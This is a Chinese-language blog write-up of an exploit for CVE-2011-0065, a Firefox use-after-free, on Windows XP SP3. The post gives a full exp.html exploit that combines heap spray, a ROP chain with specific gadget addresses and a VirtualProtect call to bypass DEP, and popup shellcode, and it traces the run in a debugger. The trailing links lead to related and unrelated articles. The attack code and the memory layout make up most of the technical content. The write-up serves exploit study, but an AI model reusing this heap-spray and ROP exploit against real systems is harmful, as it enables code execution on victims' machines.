CVE-2011-0065 Firefox mChannel UAF漏洞

为了实现任意代码执行，需要在mChannel对象释放后，用可控数据“占坑”填充它，因此，可在onChannelRedirect函数调用完成后，紧跟着申请一块大小相同的内存：

e = document.getElementById("d");

e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)

fake_obj_addr = unescape("\x1C%u0c0c")

　　

执行后，虚表指针就会被0x0c0c001c填充，从而控制程序的执行流程，如下图

接下来，只需利用Heap Spray技术将shellcode喷射到0x0c0c0034的位置即可实现任意代码执行：

#######exp.html

<html>

<body>

<object id="d"><object>

<script type="text/javascript">

e = document.getElementById("d");

e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)

fake_obj_addr = unescape("\x1C%u0c0c")

var shellcode =

unescape("%u4141%u4141%u0038%u0c0c%uc012%u0038%u0c0c%u4141%uA2EC%u7D66%u003c%u0c0c%u476c%u7C47%u4141%u4141%u0090%u0c0c%u4141%u4141%u4141%u4141%u323b%u1042%u1ad4%u7c80%u0084%u0c0c%u0090%u0c0c%u0400%u0000%u1A61%u7C80%u0090%u0c0c%uffff%uffff%u0000%u0c00%u0000%u0010%u0040%u0000%u0024%u0c0c%u0090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%udb33%u6853%u6c72%u2020%u6e68%u6761%u6869%u6d20%u6f6f%u6968%u6120%u8b6d%u53c4%u5050%ub853%u085c%u77d5%ud0ff%ub853%ucafa%u7c81%ud0ff%u9090%u9090")

var ret_addr = unescape("%u0024%u0c0c")

while(ret_addr.length+20+8 < 0x100000-18-12-12-12) {ret_addr += ret_addr}

var b = ret_addr.substring(0,(0x48-0x24)/2)

b += shellcode

b += ret_addr

var next = b.substring(0,0x10000/2)

while(next.length<0x800000) {next += next}

var again = next.substring(0,0x80000 - (0x1020-0x08)/2)

array = new Array()

for (n=0;n<0x1f0;n++){

  array[n] = again + shellcode

}

e.data = ""

</script>

</body>

</html>

　　

1 VirtualProtect函数

由于Windows xp sp3开启了DEP保护，所以我们要绕过DEP保护才能执行shellcode,本文采用ROP方式调用VirtualProtect方法绕过DEP

首先我们来看看 MSDN 上对 VirtualProtect 函数的说明。

BOOL VirtualProtect (

LPVOID lpAddress,

DWORD dwSize,

DWORD flNewProtect,

PDWORD lpflOldProtect

);

　　

各参数的意义为：
lpAddress，要改变属性的内存起始地址。
dwSize，要改变属性的内存区域大小。
flNewProtect，内存新的属性类型，设置为 PAGE_EXECUTE_READWRITE（ 0x40）时该内存页为可读可写可执行。
pflOldProtect，内存原始属性类型保存地址。
修改内存属性成功时函数返回非 0，修改失败时返回 0。
如果我们能够按照如下参数布置好栈帧的话就可以将 shellcode 所在内存区域设置为可执行模式

BOOL VirtualProtect(
shellcode 所在内存空间起始地址,
shellcode 大小,
0x40,
某个可写地址
);

其实通过汇编代码我们会发现其实VirtualProtect有五个参数，

-1（0xffffffff）参数代表进程句柄，构造参数时设为0xffffffff即可

2 ROP序列

ROP中要用到的三个关键程序片段

片段一*************************************************************************

7D66A2EC    8B49 0C         mov ecx,dword ptr ds:[ecx+0xC] 

7D66A2EF    8B01            mov eax,dword ptr ds:[ecx]     

7D66A2F1    52               push edx

7D66A2F2    51               push ecx

7D66A2F3    FF50 14          call dword ptr ds:[eax+0x14]   

片段二*************************************************************************

1042323b                     push eax

                             pop esp

                             retn 0c  

片段三*************************************************************************

7C47476C   83C4 18          ADD ESP,18  

7C47476F   C3               RETN

　　

三个片段地址寻找是通过immunity inc 的mona插件和 ollydbg的ollyFindAddr插件寻找的

3.3 Shellcode布局

Shellcode布局：

堆地址

值

备注

0c0c0024

%u4141%u4141

填充

0c0c0028

%u0038%u0c0c

堆地址

0c0c002c

%u4141%u4141

填充

0c0c0030

%u4141%u4141

填充

0c0c0034

%uA2EC%u7D66

片段一地址

0c0c0038

%u003c%u0c0c

堆地址

0c0c003c

%u476c%u7C47

片段三地址

0c0c0040 - 0c0c004c

%u4141%u4141

填充

0c0c0050

%u323b%u1042

片段二地址

0c0c0054 - 0c0c0060

%u4141%u4141

填充

0c0c0064

%u1A61%u7C80

VirtualProtectEx函数首地址

0c0c0068

%0090d%u0c0c

弹窗代码首地址（堆地址）

0c0c006c

%uffff%uffff

VirtualProtectEx参数一（-1）

0c0c0070

%u0000%u0c00

shellcode 所在内存空间起始地址

0c0c0074

%u0000%u0010

shellcode 大小（堆块大小）

0c0c0078

%u0040%u0000

0x40

0c0c007c

%u0024%u0c0c

可写地址（堆地址）

0c0c0080 – 0c0c008c

%u0090%u9090

Nop指令

0c0c0090

%udb33%u6853

%u6c72%u2020

%u6e68%u6761

%u6869%u6d20

%u6f6f%u6968

%u6120%u8b6d

%u53c4%u5050

%ub853%u085c

%u77d5%ud0ff

%u77d5%ud0ff

%ub853%ucafa

%u7c81%ud0ff

弹窗代码

下面我们跟着我们的exp.html动态跟踪一下exploit过程：

首先我们来到对象调用虚函数这里，此时我们已经劫持了程序流程，虚函数指针为0c0c001c,

正在调用位于【ecx + 18h】的虚函数，可以看到此时调用的虚函数已经被我们覆盖成片段一的首地址，所以我们会执行片段一中的内容

按F11进入

这里执行片段一的内容，片段一执行到最后，eax的值为0c0c003c,ecx的值为0c0c0038

最后跳转到【eax + 14h】所指的地址，即0c0c0050所指的地址，此时0c00050中已经被我们覆盖为1042323b,即片段二的首地址，接下来将执行片段二

按F11进入

片段二执行完毕后，esp的值为0c0c003c，可以看到从现在开始堆成为了栈，这是很重要的，

片段二执行完毕后，将返回【esp】，即0c0c003c所指向的地址，我们已经将0c0c003c覆盖为片段三的首地址7C47476C，于此同时，esp的值加（4 + 0ch）,变为0c0c004c

按F10进入

执行片段三的内容，执行完后，esp的值变为0c0c0064,执行完后，进入[esp],即0c0c0064中内容所指向的地址，此时0c0c0064内容已经被我们覆盖为VirtualProtectEX函数的首地址7C801A61。

于此同时我们可以看一下此时‘栈’里的情况

可以看到，此时栈中返回地址和VirtualProtectEX参数已经都排列好了

继续按F10运行

这里就是执行VirtualProtectEX函数将当前堆内存权限设置为可读可写可执行，我们直接运行到函数末尾

此时VirtualProtectEX已经执行完毕，接下来要返回到【esp】,即0c0c0068内容所指向的地址去执行，而0c0c0068已经被我们覆盖为0c0c0090,也就是我们存放弹窗代码的首地址，如果我们成功绕过了DEF，那么我们就能执行弹窗指令了。

按F10继续

我们已经来到了最后一步，我们先看看当前内存权限

可以看到，当前内存权限为可读可写可执行，于是我们直接按g执行弹窗代码

4 最后

整个实验到此结束，这实验主要考察调试能力和找ROP链能力，以及shellcode排布和函数运行时栈的情况也要了解，除了用VirtualProtect函数，当然还可以用ZwSetInformationProcess或者VirtualAlloc函数绕过DEP

Rop实战之利用VirtualProtect绕过DEP的更多相关文章

  1. 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数

    利用Ret2Libc绕过DEP之VirtualProtect函数 ⑴.  原理分析: i．相关概念: VirtualProtect()函数: BOOL WINAPI VirtualProtect( _ ...

  2. 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数

    1.    DEP内存保护机制 1.1   DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...

  3. Linux下利用Ret2Libc绕过DEP

    Linux下利用Ret2Libc绕过DEP ⑴.  原理分析: 系统库函数通常是不受DEP(关于DEP,可以查看我之前文章的详细介绍)保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以 ...

  4. 20155306 白皎 0day漏洞——漏洞利用原理之DEP

    20155306 白皎 0day漏洞--漏洞利用原理之DEP 一.DEP机制的保护原理 1.为什么出现DEP? 溢出攻击的根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计 ...

  5. windows环境下的heap spray+stack pivot gadget 实现绕过dep

    ASLR+DEP是windows平台下最为常见的两种保护手段.这两种手段使得最基础的jmp esp等手法不再适用,而单纯的堆喷也会因为堆内存不可执行而失效.那么这里就来介绍一下heap spray+s ...

  6. webscoket实战之利用httpsession定向推送

    webscoket实战之利用httpsession定向推送 开发框架 springboot 场景 在利用websocket主动推送信息给客户端的过程中,经常会遇到一个普遍需求,就是推送的消息要定向推送 ...

  7. vue实战(一):利用vue与ajax实现增删改查

    vue实战(一):利用vue与ajax实现增删改查: <%@ page pageEncoding="UTF-8" language="java" %> ...

  8. shell编程系列24--shell操作数据库实战之利用shell脚本将文本数据导入到mysql中

    shell编程系列24--shell操作数据库实战之利用shell脚本将文本数据导入到mysql中 利用shell脚本将文本数据导入到mysql中 需求1:处理文本中的数据,将文本中的数据插入到mys ...

  9. BUUCTF-[SUCTF 2019]CheckIn(.user.ini利用+exif_imagetype绕过)

    目录 分析 .user.ini使用条件 解题 参考链接 记一道.user.ini利用+exif_imagetype绕过的文件上传的题. 分析 先正经上传一张图片.回显了存储路径,同时发现还包含了一个i ...

随机推荐

  1. poj1191(記憶化搜索)

    題目鏈接:http://poj.org/problem?id=1191 題意:中文題誒- 思路:這道題有幾個關鍵點需要想通,不然會比較難做．．． 首先,題目給出的標準差公式並不是很好計算,需要給它變下 ...

  2. 分层确定性钱包开发的代码实现（HD钱包服务）

    HD Wallets的全称是Hierachical Deterministic Wallets, 对应中文是 分层确定性钱包. 这种钱包能够使用一组助记词来管理所有的账户的所有币种,在比特币的BIP3 ...

  3. 洛谷 P2731 骑马修栅栏 Riding the Fences

    P2731 骑马修栅栏 Riding the Fences 题目背景 Farmer John每年有很多栅栏要修理.他总是骑着马穿过每一个栅栏并修复它破损的地方. 题目描述 John是一个与其他农民一样 ...

  4. 两数之和LeetCode

    给定一个整数数组 nums 和一个目标值 target,请你在该数组中找出和为目标值的那 两个 整数,并返回他们的数组下标. 你可以假设每种输入只会对应一个答案.但是,你不能重复利用这个数组中同样的元 ...

  5. jvm 默认字符集

    最近在读取第三方上传的文件时,遇到一个问题,就是采用默认字符集读取,发现个别中文乱码,找到乱码的字,发现是生僻字:碶. 由于在window是环境下做的测试,并没有报错,但是在linux服务器上执行,发 ...

  6. mac mysql 编码配置

    mac mysql 编码配置 (mysql目录下没有my.cnf) 想要修改编码发现自己的/usr/local/mysql/support-files里面根本没有my.cnf 安装方式是去mysql官 ...

  7. NET Core 2.1.0 now available

    ASP.NET Core 2.1.0 now available https://blogs.msdn.microsoft.com/webdev/2018/05/30/asp-net-core-2-1 ...

  8. Linux下无法挂载Ｕ盘

    大概的错误信息是这样的: Error mounting /dev/sdb4 at /media/xxx/xx: Command-line`mount -t "ntfs" -o&qu ...

  9. (转)linux下控制帐户过期的多种方法

    linux下控制帐户过期的方法:原文:http://blog.51cto.com/oldboy/1289144企业里一般给无人管理的角色账户或开发人员临时需求等可以设定账户有效期,提升安全!法一:添加 ...

  10. 执行ng build --prod --aot命令报错

    D:\git\**\src\main\iui>ng build --prod --aotHash: 257ab60feca43633b6f7Time: 25358mschunk {0} poly ...